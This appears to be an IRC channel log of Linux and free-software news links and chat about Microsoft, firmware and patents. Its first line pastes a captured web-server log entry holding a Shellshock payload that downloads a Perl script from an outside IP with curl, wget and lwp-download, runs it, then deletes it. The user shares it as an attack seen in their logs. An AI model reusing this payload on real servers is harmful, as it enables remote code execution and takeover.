cubexyz	GET /linuxnotes.txt HTTP/1.1" 200 135303 "-" "#28#29 { :;}; /bin/bash -c \"curl -O http://194.1.195.191/b00t.pl -o /tmp/b00t.pl; lwp-download -a http://194.1.195.191/b00t.pl /tmp/b00t.pl;wget http://194.1.195.191/b00t.pl -O /tmp/b00t.pl;perl /tmp/b00t.pl;rm -f /tmp/b00t.pl*;mkdir /tmp/b00t.pl\"	Oct 06 21:07
cubexyz	Ukrainian IP address :)	Oct 06 21:07
MinceR	cute	Oct 06 21:08
TweetTuxMachines	@tuxmachines Git 2.6.1 Open-Source Distributed Version	Oct 06 21:10
TweetTuxMachines	Control System Adds Xdiff Changes	Oct 06 21:10
TweetTuxMachines	http://t.co/NnflHtMcai (www.tuxmachines.org)	Oct 06 21:10
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cubexyz	yes, rule #1, check the logs :)	Oct 06 21:14
MinceR	i thought rule #1 was do not talk about fight club	Oct 06 21:15
cubexyz	this is hack club, not fight club :)	Oct 06 21:17
MinceR	:)	Oct 06 21:18
cubexyz	I mean who really wants Vpro which could be hacked even if your computer is off?	Oct 06 21:20
cubexyz	evidently a Vpro processor has this 2nd processor with it's own operating system	Oct 06 21:22
cubexyz	I ask vendors which motherboards ship with coreboot, I never get an answer	Oct 06 21:35
msb_	Call them on the phone. Corps never answer emails.	Oct 06 21:42
msb_	When they say they don't know, ask for a supervisor. Preferably not one working for a bowl of rice a day in India.	Oct 06 21:44
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*TweetTuxMachines @TECH__JAPAN favourited '"485 out of 500 systems were using Linux"...'		Oct 07 02:42
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schestowitz	https://twitter.com/profBhttps://twitter.com/profBury/status/651534438669647873ury/status/651534438669647873	Oct 07 02:59
-TechrightsBot-tr/#techrights-@profBury: Link http://t.co/17dVEzFtWU by @schestowitz is the most popular tweet in my news feed today.		Oct 07 02:59
-TechrightsBot-tr/#techrights--> linkis.com \| Leaked memos reveal GCHQ efforts to keep mass surveillance secret \| UK news \| The Guardian - Linkis.com		Oct 07 02:59
schestowitz	tessier: thanks, posted	Oct 07 03:03
*TweetTuxMachines @kdecommunity favourited 'Down to Business with Major Deployments https://t.co/gezQJKETeM'		Oct 07 03:35
-TechrightsBot-tr/#techrights-dot.kde.org \| Down to Business with Major Deployments \| KDE.news		Oct 07 03:35
TweetTuxMachines	@tuxmachines Top 5 best Android multiplayer games in 2015	Oct 07 03:35
TweetTuxMachines	http://t.co/JcET2WPKOp (www.geeksnack.com)	Oct 07 03:35
TweetTuxMachines	don't be mortified, it's all proprietary	Oct 07 03:35
TweetTuxMachines	........................................ http://ur1.ca/nxtwq	Oct 07 03:35
-TechrightsBot-tr/#techrights-www.geeksnack.com \| Top 5 best Android multiplayer games in 2015 - GeekSnack		Oct 07 03:35
TweetTuxMachines	@tuxmachines The 2015 Linux Foundation Technical Advisory	Oct 07 03:35
TweetTuxMachines	Board elections http://t.co/IS0nFdNYU3	Oct 07 03:35
TweetTuxMachines	(lwn.net)	Oct 07 03:35
-TechrightsBot-tr/#techrights-lwn.net \| The 2015 Linux Foundation Technical Advisory Board elections [LWN.net]		Oct 07 03:35
TweetTuxMachines	........................................ http://ur1.ca/nxtwr	Oct 07 03:35
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TweetTuxMachines	@hschneider66 A piece of #RaspberryPi daily:	Oct 07 04:18
TweetTuxMachines	http://t.co/EfU7lTyh60 (paper.li) ThanX to	Oct 07 04:18
TweetTuxMachines	@ericktruter @tuxmachines @PLC_Simulation	Oct 07 04:18
TweetTuxMachines	........................................ http://ur1.ca/nxubq	Oct 07 04:18
-TechrightsBot-tr/#techrights-paper.li \| A piece of Raspberry Pi daily		Oct 07 04:18
TweetTuxMachines	@tuxmachines The ZFS File System Will Be Included in Ubuntu,	Oct 07 04:18
TweetTuxMachines	Says Mark Shuttleworth http://t.co/S0OITF8Vyh	Oct 07 04:18
TweetTuxMachines	(news.softpedia.com)	Oct 07 04:18
-TechrightsBot-tr/#techrights-news.softpedia.com \| The ZFS File System Will Be Included in Ubuntu, Says Mark Shuttleworth - Softpedia		Oct 07 04:18
TweetTuxMachines	........................................ http://ur1.ca/nxubr	Oct 07 04:18
TweetTuxMachines	@tuxmachines Git 2.6.1 Open-Source Distributed Version	Oct 07 04:18
TweetTuxMachines	Control System Adds Xdiff Changes	Oct 07 04:18
TweetTuxMachines	http://t.co/m9YYg5XHfZ (linux.softpedia.com)	Oct 07 04:18
TweetTuxMachines	........................................ http://ur1.ca/nxubs	Oct 07 04:18
-TechrightsBot-tr/#techrights-linux.softpedia.com \| Git 2.6.1 Open-Source Distributed Version Control System Adds Xdiff Changes - Softpedia		Oct 07 04:18
TweetTuxMachines	@tuxmachines Ubuntu-Based Black Lab Linux 7 Operating System	Oct 07 04:18
TweetTuxMachines	Gets an RC Build with Firefox 41	Oct 07 04:18
TweetTuxMachines	http://t.co/BdK2oQuksa (www.tuxmachines.org)	Oct 07 04:18
TweetTuxMachines	........................................ http://ur1.ca/nxubu	Oct 07 04:18
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| Ubuntu-Based Black Lab Linux 7 Operating System Gets an RC Build with Firefox 41 \| Tux Machines		Oct 07 04:18
TweetTuxMachines	@tuxmachines Android-x86 Now Based on Android 5.1.1	Oct 07 04:18
TweetTuxMachines	Lollipop, Supports UEFI PCs and 64-Bit Kernels	Oct 07 04:18
TweetTuxMachines	http://t.co/Vtvz1wKwY8 (www.tuxmachines.org)	Oct 07 04:18
TweetTuxMachines	........................................ http://ur1.ca/nxubv	Oct 07 04:18
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| Android-x86 Now Based on Android 5.1.1 Lollipop, Supports UEFI PCs and 64-Bit Kernels \| Tux Machines		Oct 07 04:18
TweetTuxMachines	@tuxmachines Why the software world needs a 'no-fly zone'	Oct 07 04:18
TweetTuxMachines	for patents http://t.co/5YmDR5ECF9	Oct 07 04:18
TweetTuxMachines	(www.tuxmachines.org)	Oct 07 04:18
TweetTuxMachines	........................................ http://ur1.ca/nxuby	Oct 07 04:18
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| Why the software world needs a 'no-fly zone' for patents \| Tux Machines		Oct 07 04:18
schestowitz	"third party" http://news.softpedia.com/news/microsoft-office-in-windows-against-third-party-alternatives-492990.shtml	Oct 07 04:39
-TechrightsBot-tr/#techrights-news.softpedia.com \| Microsoft Office in Windows against Third-Party Alternatives - Softpedia [ http://ur1.ca/nxuhl ]		Oct 07 04:39
schestowitz	https://twitter.com/Messgorough/status/651689482727653376	Oct 07 05:27
-TechrightsBot-tr/#techrights-@Messgorough: @schestowitz At last! Google plays reign of terror needs to end.		Oct 07 05:27
TweetTuxMachines	@tuxmachines Univention Corporate Server 4.1 to Implement	Oct 07 05:31
TweetTuxMachines	Docker Apps, Linux Kernel 4.1 LTS	Oct 07 05:31
TweetTuxMachines	http://t.co/qAtri9Zees (www.tuxmachines.org)	Oct 07 05:31
TweetTuxMachines	........................................ http://ur1.ca/nxuxk	Oct 07 05:31
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| Univention Corporate Server 4.1 to Implement Docker Apps, Linux Kernel 4.1 LTS \| Tux Machines		Oct 07 05:31
TweetTuxMachines	@tuxmachines Proxmox VE 4.0 Has Linux Containers Support,	Oct 07 05:31
TweetTuxMachines	Based on Debian 8.2 Jessie - Video	Oct 07 05:31
TweetTuxMachines	http://t.co/f7VQO5A2ny (www.tuxmachines.org)	Oct 07 05:31
TweetTuxMachines	........................................ http://ur1.ca/nxuxm	Oct 07 05:31
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| Proxmox VE 4.0 Has Linux Containers Support, Based on Debian 8.2 Jessie - Video \| Tux Machines		Oct 07 05:31
TweetTuxMachines	@tuxmachines Lessons From Volkswagen http://t.co/NBmYvNO5zh	Oct 07 05:32
TweetTuxMachines	(www.tuxmachines.org)	Oct 07 05:32
TweetTuxMachines	........................................ http://ur1.ca/nxuxp	Oct 07 05:32
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| Lessons From Volkswagen \| Tux Machines		Oct 07 05:32
TweetTuxMachines	@tuxmachines Mozilla Boosts Leadership Team With Connected	Oct 07 05:32
TweetTuxMachines	Devices Appointment http://t.co/vsu4MDyCVn	Oct 07 05:32
TweetTuxMachines	(www.tuxmachines.org)	Oct 07 05:32
TweetTuxMachines	........................................ http://ur1.ca/nxuxq	Oct 07 05:32
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| Mozilla Boosts Leadership Team With Connected Devices Appointment \| Tux Machines		Oct 07 05:32
TweetTuxMachines	@tuxmachines NethServer 6.7 Server-Oriented Linux Distro Is	Oct 07 05:33
TweetTuxMachines	Coming Soon, Based on CentOS 6.7	Oct 07 05:33
TweetTuxMachines	http://t.co/UX8MpMkGzX (www.tuxmachines.org)	Oct 07 05:33
TweetTuxMachines	........................................ http://ur1.ca/nxuxs	Oct 07 05:33
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| NethServer 6.7 Server-Oriented Linux Distro Is Coming Soon, Based on CentOS 6.7 \| Tux Machines		Oct 07 05:33
TweetTuxMachines	@tuxmachines Continuum for Windows 10 Is Phone Convergence,	Oct 07 05:33
TweetTuxMachines	but Not as Advanced as Ubuntu's	Oct 07 05:33
TweetTuxMachines	http://t.co/mGOz0HWETQ (www.tuxmachines.org)	Oct 07 05:33
TweetTuxMachines	........................................ http://ur1.ca/nxuxu	Oct 07 05:33
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| Continuum for Windows 10 Is Phone Convergence, but Not as Advanced as Ubuntu's \| Tux Machines		Oct 07 05:33
TweetTuxMachines	@tuxmachines Xen now available in CentOS 7 for ARM64 servers	Oct 07 05:39
TweetTuxMachines	http://t.co/4zawu7BKmR (www.tuxmachines.org)	Oct 07 05:39
TweetTuxMachines	........................................ http://ur1.ca/nxuzr	Oct 07 05:39
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| Xen now available in CentOS 7 for ARM64 servers \| Tux Machines		Oct 07 05:39
TweetTuxMachines	@tuxmachines Roku’s 4th gen media player does 4K, gets	Oct 07 05:39
TweetTuxMachines	larger, costs more http://t.co/nXBmm3z3lG	Oct 07 05:39
TweetTuxMachines	(linuxgizmos.com)	Oct 07 05:39
-TechrightsBot-tr/#techrights-linuxgizmos.com \| Roku's 4th gen media player does 4K, gets larger, costs more · LinuxGizmos.com		Oct 07 05:39
TweetTuxMachines	........................................ http://ur1.ca/nxuzs	Oct 07 05:39
TweetTuxMachines	@tuxmachines Ubuntu-Based Black Lab Linux 7 Operating System	Oct 07 05:39
TweetTuxMachines	Gets an RC Build with Firefox 41	Oct 07 05:39
TweetTuxMachines	http://t.co/g2dV9QDezP (news.softpedia.com)	Oct 07 05:39
TweetTuxMachines	........................................ http://ur1.ca/nxuzt	Oct 07 05:39
-TechrightsBot-tr/#techrights-news.softpedia.com \| Ubuntu-Based Black Lab Linux 7 Operating System Gets an RC Build with Firefox 41 - Softpedia		Oct 07 05:39
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TweetTuxMachines	@tuxmachines Ubuntu-Based Escuelas Linux 4.1 Drops	Oct 07 05:46
TweetTuxMachines	Enlightenment for the Moksha Desktop	Oct 07 05:46
TweetTuxMachines	http://t.co/WOBNhMQ3GG (news.softpedia.com)	Oct 07 05:46
TweetTuxMachines	........................................ http://ur1.ca/nxv27	Oct 07 05:46
-TechrightsBot-tr/#techrights-news.softpedia.com \| Ubuntu-Based Escuelas Linux 4.1 Drops Enlightenment for the Moksha Desktop - Softpedia		Oct 07 05:46
TweetTuxMachines	@tuxmachines Ubuntu Snappy Core 15.04 Now Features Basic	Oct 07 05:46
TweetTuxMachines	Support for UEFI Firmware Updates	Oct 07 05:46
TweetTuxMachines	http://t.co/mmIFf3Mia7 (linux.softpedia.com)	Oct 07 05:46
TweetTuxMachines	........................................ http://ur1.ca/nxv28	Oct 07 05:46
-TechrightsBot-tr/#techrights-linux.softpedia.com \| Ubuntu Snappy Core 15.04 Now Features Basic Support for UEFI Firmware Updates - Softpedia		Oct 07 05:46
TweetTuxMachines	@tuxmachines Ubuntu Touch OTA-7 Gets Ready for Release, Many	Oct 07 05:46
TweetTuxMachines	Memory Leaks Were Plugged	Oct 07 05:46
TweetTuxMachines	http://t.co/mS5RicbRn3 (news.softpedia.com)	Oct 07 05:46
TweetTuxMachines	........................................ http://ur1.ca/nxv29	Oct 07 05:46
-TechrightsBot-tr/#techrights-news.softpedia.com \| Ubuntu Touch OTA-7 Gets Ready for Release, Many Memory Leaks Were Plugged - Softpedia		Oct 07 05:46
TweetTuxMachines	@tuxmachines NethServer 6.7 Server-Oriented Linux Distro Is	Oct 07 05:52
TweetTuxMachines	Coming Soon, Based on CentOS 6.7	Oct 07 05:52
TweetTuxMachines	http://t.co/M9nMWgu0y6 (news.softpedia.com)	Oct 07 05:52
TweetTuxMachines	........................................ http://ur1.ca/nxv4e	Oct 07 05:52
-TechrightsBot-tr/#techrights-news.softpedia.com \| NethServer 6.7 Server-Oriented Linux Distro Is Coming Soon, Based on CentOS 6.7 - Softpedia		Oct 07 05:52
TweetTuxMachines	@tuxmachines Continuum for Windows 10 Is Phone Convergence,	Oct 07 05:52
TweetTuxMachines	but Not as Advanced as Ubuntu's	Oct 07 05:52
TweetTuxMachines	http://t.co/jp7IM0RpoZ (news.softpedia.com)	Oct 07 05:52
TweetTuxMachines	........................................ http://ur1.ca/nxv4f	Oct 07 05:52
-TechrightsBot-tr/#techrights-news.softpedia.com \| Continuum for Windows 10 Is Phone Convergence, but Not as Advanced as Ubuntu's - Softpedia		Oct 07 05:52
TweetTuxMachines	@tuxmachines Xen now available in CentOS 7 for ARM64 servers	Oct 07 05:52
TweetTuxMachines	https://t.co/8m25YjUmY5 (blog.xenproject.org)	Oct 07 05:52
TweetTuxMachines	........................................ http://ur1.ca/nxv4g	Oct 07 05:52
-TechrightsBot-tr/#techrights-blog.xenproject.org \| Xen now available in CentOS 7 for ARM64 servers \| Xen Project Blog		Oct 07 05:52
TweetTuxMachines	@tuxmachines Android-x86 Now Based on Android 5.1.1	Oct 07 05:53
TweetTuxMachines	Lollipop, Supports UEFI PCs and 64-Bit Kernels	Oct 07 05:53
TweetTuxMachines	http://t.co/I6s2cj8Z4X (news.softpedia.com)	Oct 07 05:53
TweetTuxMachines	........................................ http://ur1.ca/nxv4h	Oct 07 05:53
-TechrightsBot-tr/#techrights-news.softpedia.com \| Android-x86 Now Based on Android 5.1.1 Lollipop, Supports UEFI PCs and 64-Bit Kernels - Softpedia		Oct 07 05:53
TweetTuxMachines	@tuxmachines Univention Corporate Server 4.1 to Implement	Oct 07 05:56
TweetTuxMachines	Docker Apps, Linux Kernel 4.1 LTS	Oct 07 05:56
TweetTuxMachines	http://t.co/BArtvCOiQO (news.softpedia.com)	Oct 07 05:56
TweetTuxMachines	........................................ http://ur1.ca/nxv5o	Oct 07 05:56
-TechrightsBot-tr/#techrights-news.softpedia.com \| Univention Corporate Server 4.1 to Implement Docker Apps, Linux Kernel 4.1 LTS - Softpedia		Oct 07 05:56
TweetTuxMachines	@tuxmachines Proxmox VE 4.0 Has Linux Containers Support,	Oct 07 05:56
TweetTuxMachines	Based on Debian 8.2 Jessie - Video	Oct 07 05:56
TweetTuxMachines	http://t.co/rHMA5Ood0X (news.softpedia.com)	Oct 07 05:56
TweetTuxMachines	........................................ http://ur1.ca/nxv5q	Oct 07 05:56
-TechrightsBot-tr/#techrights-news.softpedia.com \| Proxmox VE 4.0 Has Linux Containers Support, Based on Debian 8.2 Jessie - Video - Softpedia		Oct 07 05:56
schestowitz	https://joindiaspora.com/posts/6654471	Oct 07 06:16
-TechrightsBot-tr/#techrights-@linux@joindiaspora.com: OpenShot 2.0 Video Editor to Be Released Soon for Linux, Mac OS X, and Windows 10 http://news.softpedia.com/news/openshot-2-0-video-editor-to-be-released-soon-for-linux-mac-os-x-and-windows-10-493259.shtml		Oct 07 06:16
-TechrightsBot-tr/#techrights--> news.softpedia.com \| OpenShot 2.0 Video Editor to Be Released Soon for Linux, Mac OS X, and Windows 10 - Softpedia [ http://ur1.ca/nw8sk ]		Oct 07 06:16
schestowitz	https://joindiaspora.com/posts/6654471	Oct 07 06:17
schestowitz	"lumiera looked like a promising beginning, but I don’t recall the ever doing even an alpha release."	Oct 07 06:17
schestowitz	> lots of M$ hardware spam at most sites; no links here	Oct 07 06:37
schestowitz	Yes, I don't expect to be writing about it. Would only help them...	Oct 07 06:37
schestowitz	https://twitter.com/reggaecrisp1/status/651707224394452992	Oct 07 06:44
-TechrightsBot-tr/#techrights-@reggaecrisp1: A scandalous document, created by crooks, approved by crooks and policed by crooks. What could possibly go wrong. https://t.co/ydZleVij9d		Oct 07 06:44
-TechrightsBot-tr/#techrights-@schestowitz: #TPP Negotiations Conclude: What Next for the Trade Deal Without a Public Text? http://t.co/vJ3AG3D0wh collusion against the public		Oct 07 06:44
schestowitz	> dead link:	Oct 07 06:46
schestowitz	>	Oct 07 06:46
schestowitz	> http://www.computerworld.com/softwaretopics/os/story/0,10801,83708,00.html	Oct 07 06:47
-TechrightsBot-tr/#techrights- ( status 404 @ http://www.computerworld.com/softwaretopics/os/story/0,10801,83708,00.html )		Oct 07 06:47
schestowitz	What was it about? Was it spiked?	Oct 07 06:47
schestowitz	In the news...	Oct 07 07:13
schestowitz	This may be of interest to the company	Oct 07 07:13
schestowitz	FU: http://www.computing.co.uk/ctg/interview/2426120/the-power-of-open-source-from-postgres-to-cassandra-at-first-utility	Oct 07 07:13
schestowitz	Competitor: http://www.cbronline.com/news/enterprise-it/software/an-essential-guide-to-using-open-source-monitoring-tools-4672669	Oct 07 07:13
-TechrightsBot-tr/#techrights-www.computing.co.uk \| The power of open source: From Postgres to Cassandra at First Utility - 16 Sep 2015 - Computing Interview [ http://ur1.ca/nxvlq ]		Oct 07 07:13
-TechrightsBot-tr/#techrights-www.cbronline.com \| An essential guide to using Open Source monitoring tools - Computer Business Review [ http://ur1.ca/nxvlr ]		Oct 07 07:13
schestowitz	> http://mrpogson.com/2015/10/05/sarah-sharp-im-not-a-linux-kernel-developer-any-more/	Oct 07 07:18
-TechrightsBot-tr/#techrights-mrpogson.com \| Sarah Sharp: “I’m not a Linux kernel developer any more” \| Robert Pogson [ http://ur1.ca/nxvmw ]		Oct 07 07:18
schestowitz	>	Oct 07 07:18
schestowitz	> he's just feeding the troll	Oct 07 07:18
schestowitz	Not just him....	Oct 07 07:18
schestowitz	https://twitter.com/Twpalovi/status/651716113538093056	Oct 07 07:22
-TechrightsBot-tr/#techrights-@Twpalovi: @schestowitz Where is that?		Oct 07 07:22
msb_	Marvel's Agents of S.H.I.E.L.D. S03E02 is wonderful!	Oct 07 07:22
schestowitz	One example: http://www.cbsnews.com/news/google-to-unmask-skank-blogger/	Oct 07 07:23
-TechrightsBot-tr/#techrights-www.cbsnews.com \| Google to Unmask "Skank" Blogger - CBS News [ http://ur1.ca/nxvnt ]		Oct 07 07:23
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*TweetTuxMachines @techmuser favourited 'Proxmox VE 4.0 Has Linux Containers Support, Based...'		Oct 07 08:00
TweetTuxMachines	@tuxmachines Leftovers: KDE http://t.co/1I64sjKREa	Oct 07 08:00
TweetTuxMachines	(www.tuxmachines.org)	Oct 07 08:00
TweetTuxMachines	........................................ http://ur1.ca/nxvwg	Oct 07 08:00
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| Leftovers: KDE \| Tux Machines		Oct 07 08:00
TweetTuxMachines	@tuxmachines systemd is your friend http://t.co/DvJcpiaeUx	Oct 07 08:09
TweetTuxMachines	(www.linux.it)	Oct 07 08:09
TweetTuxMachines	........................................ http://ur1.ca/nxvzm	Oct 07 08:09
-TechrightsBot-tr/#techrights-www.linux.it \| Emanuele Rocca: systemd is your friend		Oct 07 08:09
TweetTuxMachines	@tuxmachines How to move the needle in open source	Oct 07 08:09
TweetTuxMachines	http://t.co/G8QpW01O4A (www.tuxmachines.org)	Oct 07 08:09
TweetTuxMachines	........................................ http://ur1.ca/nxvzn	Oct 07 08:09
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| How to move the needle in open source \| Tux Machines		Oct 07 08:10
TweetTuxMachines	@tuxmachines Azul Zing goes live on Red Hat Enterprise Linux	Oct 07 08:10
TweetTuxMachines	on Amazon Web Services http://t.co/71YnWu7Qfh	Oct 07 08:10
TweetTuxMachines	(www.tuxmachines.org)	Oct 07 08:10
TweetTuxMachines	........................................ http://ur1.ca/nxvzo	Oct 07 08:10
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| Azul Zing goes live on Red Hat Enterprise Linux on Amazon Web Services \| Tux Machines		Oct 07 08:10
schestowitz	https://www.joindiaspora.com/posts/6674034	Oct 07 08:13
-TechrightsBot-tr/#techrights-Not a Diaspora post?		Oct 07 08:14
schestowitz	https://www.joindiaspora.com/posts/6674050	Oct 07 08:14
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: #networkmanager is getting a lot better https://blogs.gnome.org/lkundrak/2015/08/27/networkmanager-1-0-6-brings-metered-connections-api-and-more/ ttps://blogs.gnome.org/lkundrak/2015/09/24/fortigate-ssl-vpn-support-added-to-networkmanager/ #freesw		Oct 07 08:14
-TechrightsBot-tr/#techrights-SSL connect error ( status 0 @ https://blogs.gnome.org/lkundrak/2015/08/27/networkmanager-1-0-6-brings-metered-connections-api-and-more/ )		Oct 07 08:14
schestowitz	https://www.joindiaspora.com/posts/6674034	Oct 07 08:14
TweetTuxMachines	@tuxmachines LibreOffice 4.4.6 to Be Last in the Series, New	Oct 07 08:15
TweetTuxMachines	RC Is Out http://t.co/vQgP2SVT4J	Oct 07 08:15
TweetTuxMachines	(www.tuxmachines.org)	Oct 07 08:15
TweetTuxMachines	........................................ http://ur1.ca/nxw15	Oct 07 08:15
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| LibreOffice 4.4.6 to Be Last in the Series, New RC Is Out \| Tux Machines		Oct 07 08:15
TweetTuxMachines	@tuxmachines systemd is your friend http://t.co/tzQyXKthNR	Oct 07 08:15
TweetTuxMachines	(www.tuxmachines.org)	Oct 07 08:15
TweetTuxMachines	........................................ http://ur1.ca/nxw16	Oct 07 08:15
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| systemd is your friend \| Tux Machines		Oct 07 08:15
TweetTuxMachines	@tuxmachines What Are Linux Meta-packages?	Oct 07 08:15
TweetTuxMachines	http://t.co/YfWtMmaukK (www.tuxmachines.org)	Oct 07 08:15
TweetTuxMachines	........................................ http://ur1.ca/nxw17	Oct 07 08:15
-TechrightsBot-tr/#techrights-www.tuxmachines.org \| What Are Linux Meta-packages? \| Tux Machines		Oct 07 08:15
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schestowitz	https://twitter.com/Twpalovi/status/651736542382301184	Oct 07 13:08
-TechrightsBot-tr/#techrights-@Twpalovi: @schestowitz How?		Oct 07 13:08
schestowitz	The #epo can just sue companies or individuals even if it knows they'll win in court. And the legal fees EPO gets covered by EU.	Oct 07 13:09
schestowitz	The EPO already threatens to sue the leader of its staff union.	Oct 07 13:09
schestowitz	The EPO already threatened to sue the leader of its staff union.	Oct 07 13:09
schestowitz	https://twitter.com/AJimenez1988/status/651743814609145856	Oct 07 13:11
-TechrightsBot-tr/#techrights-@AJimenez1988: @schestowitz Simple power politics: when the Left doesn't rule it supports free speech to undermine power. When it rules, censorship ensues.		Oct 07 13:11
schestowitz	https://twitter.com/bosson/status/651792589998432256	Oct 07 13:11
-TechrightsBot-tr/#techrights-@bosson: @schestowitz other thing is glut. "Please use cocoa instead...." Less portable code....		Oct 07 13:11
schestowitz	GLUT as in GL? (I used it back in the days to develop a game)	Oct 07 13:12
MinceR	it's on top of opengl, iirc	Oct 07 13:15
MinceR	possibly with glu in between	Oct 07 13:15
TweetTuxMachines	@tuxmachines Down to Business with Major Deployments	Oct 07 13:28
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MinceR	http://securityreactions.tumblr.com/post/130691304438/government-surveillance-programs#_=_	Oct 07 13:47
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TweetTuxMachines	@tuxmachines KDE Signs the User Data Manifesto 2.0	Oct 07 14:47
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TweetTuxMachines	@tuxmachines Valve Makes SteamOS 2.0 the Official Distro,	Oct 07 14:47
TweetTuxMachines	Now Based on Debian 8.2 http://t.co/TfOB3dTxEM	Oct 07 14:47
TweetTuxMachines	(www.tuxmachines.org)	Oct 07 14:47
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schestowitz	https://twitter.com/bosson/status/651838431920803840	Oct 07 15:27
-TechrightsBot-tr/#techrights-@bosson: @schestowitz yep... Useful to small visualization projects...		Oct 07 15:27
schestowitz	I thought it had been deprecated for nearly a decade	Oct 07 15:27
schestowitz	https://twitter.com/bosson/status/651842549364195329	Oct 07 15:34
-TechrightsBot-tr/#techrights-@bosson: @schestowitz The alternative is to use sdl2, and its not trivial to get working on osx. Glut is trivial anywhere as much as its limited.		Oct 07 15:34
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schestowitz	https://twitter.com/Messgorough/status/651844026807750656	Oct 07 15:39
-TechrightsBot-tr/#techrights-@Messgorough: @KhanUR1983 @schestowitz Looks like the time I drew a face on my left scrotum.		Oct 07 15:39
TweetTuxMachines	@tuxmachines Would the Internet Exist without Linux? Yes.	Oct 07 15:55
TweetTuxMachines	Without Open Source? No http://t.co/JusSyQzlIV	Oct 07 15:55
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TweetTuxMachines	@tuxmachines Open Network Linux Simplifies Open Compute	Oct 07 15:55
TweetTuxMachines	Project Switch Configuration	Oct 07 15:55
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TweetTuxMachines	@tuxmachines LinuxCon 2015 Report: Dirk Hohndel Chats with	Oct 07 15:55
TweetTuxMachines	Linus Torvalds http://t.co/Znu43TepNe	Oct 07 15:55
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TweetTuxMachines	@tuxmachines Android 6.0, Marshmallow: The complete FAQ	Oct 07 16:03
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TweetTuxMachines	@tuxmachines KDE Signs the User Data Manifesto 2.0	Oct 07 16:03
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TweetTuxMachines	@tuxmachines Valve Makes SteamOS 2.0 the Official Distro,	Oct 07 16:03
TweetTuxMachines	Now Based on Debian 8.2 http://t.co/tW3OkfLJtG	Oct 07 16:03
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TweetTuxMachines	@tuxmachines Open Network Linux Simplifies Open Compute	Oct 07 16:03
TweetTuxMachines	Project Switch Configuration	Oct 07 16:03
TweetTuxMachines	http://t.co/CVN9I7rWts (techcrunch.com)	Oct 07 16:03
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TweetTuxMachines	@tuxmachines LinuxCon 2015 Report: Dirk Hohndel Chats with	Oct 07 16:04
TweetTuxMachines	Linus Torvalds http://t.co/75P8XiQsb3	Oct 07 16:04
TweetTuxMachines	(www.linux.com)	Oct 07 16:04
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-TechrightsBot-tr/#techrights-www.linux.com \| LinuxCon 2015 Report: Dirk Hohndel Chats with Linus Torvalds \| Linux.com		Oct 07 16:04
TweetTuxMachines	@tuxmachines Intel Just Queued Up More Graphics Changes For	Oct 07 16:04
TweetTuxMachines	The Linux 4.4 Kernel http://t.co/EcGJIM3hJM	Oct 07 16:04
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cubexyz	well, one of my predictions has come true:	Oct 07 16:09
cubexyz	Microsoft has made their own microsoft laptop	Oct 07 16:10
cubexyz	unless people education themselves, and study what is actually happening to computers they will be herded into the Microsoft camp	Oct 07 16:11
cubexyz	I'm not talking about the older people who know better and know what computers were like before Microsoft ever existed (and would never switch to M$)	Oct 07 16:13
cubexyz	I'm mostly talking about the younger people and more casual computer users	Oct 07 16:13
TweetTuxMachines	@tuxmachines Linux Mint Devs Want to Know How Many Gamers	Oct 07 16:17
TweetTuxMachines	Are Using the OS http://t.co/3Gv7bs0p6o	Oct 07 16:17
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-TechrightsBot-tr/#techrights-www.tuxmachines.org \| Linux Mint Devs Want to Know How Many Gamers Are Using the OS \| Tux Machines		Oct 07 16:17
TweetTuxMachines	@tuxmachines More OpenSUSE Leap Linux Kernel Benchmarks	Oct 07 16:17
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-TechrightsBot-tr/#techrights-www.tuxmachines.org \| More OpenSUSE Leap Linux Kernel Benchmarks \| Tux Machines		Oct 07 16:17
TweetTuxMachines	@tuxmachines More OpenSUSE Leap Linux Kernel Benchmarks	Oct 07 16:17
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cubexyz	http://www.extremetech.com/extreme/201722-linuxs-worst-case-scenario-microsoft-makes-secure-boot-mandatory-locks-out-other-operating-systems	Oct 07 16:30
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TweetTuxMachines	@tuxmachines Intel Just Queued Up More Graphics Changes For	Oct 07 16:31
TweetTuxMachines	The Linux 4.4 Kernel http://t.co/asARGRzFf9	Oct 07 16:31
TweetTuxMachines	(www.phoronix.com)	Oct 07 16:31
-TechrightsBot-tr/#techrights-www.phoronix.com \| Intel Just Queued Up More Graphics Changes For The Linux 4.4 Kernel - Phoronix		Oct 07 16:31
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TweetTuxMachines	@tuxmachines Omnibond Releases CloudyCluster on Red Hat	Oct 07 16:31
TweetTuxMachines	Enterprise Linux in the AWS Marketplace	Oct 07 16:31
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-TechrightsBot-tr/#techrights-www.hpcwire.com \| Omnibond Releases CloudyCluster on Red Hat Enterprise Linux in the AWS Marketplace		Oct 07 16:31
TweetTuxMachines	@tuxmachines Linux Mint Devs Want to Know How Many Gamers	Oct 07 16:32
TweetTuxMachines	Are Using the OS http://t.co/rRdsj0Jb9j	Oct 07 16:32
TweetTuxMachines	(news.softpedia.com)	Oct 07 16:32
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schestowitz	https://twitter.com/Twpalovi/status/651867189851627520	Oct 07 17:15
-TechrightsBot-tr/#techrights-@Twpalovi: @schestowitz That is the interesting question.		Oct 07 17:15
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msb_	cubexyz: It's up to people like us to tell the truth about Microshit and Linux (and to encourage clean Linux without systemd) to inform people so they don't get herded.	Oct 07 17:22
msb_	schestowitz is doing a very good job at this. But we must do more than we have been. Come up with good hardware/firmware/software solutions and push them -- give the facts behind our choices, not just to individuals but to corporations,	Oct 07 17:25
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msb_	cubexyz: We need to come up with solutions for people who already have computers, and for those looking to buy new ones. We need to find solutions that don't limit people on computer power, because games, video editing -- see youtube -- and high-compression x265 videos are very popular.	Oct 07 17:28
msb_	We can't just herd people into chromebooks because they only meet some of the criteria, which include security _and_ state-of-the-cheap-art speed.	Oct 07 17:31
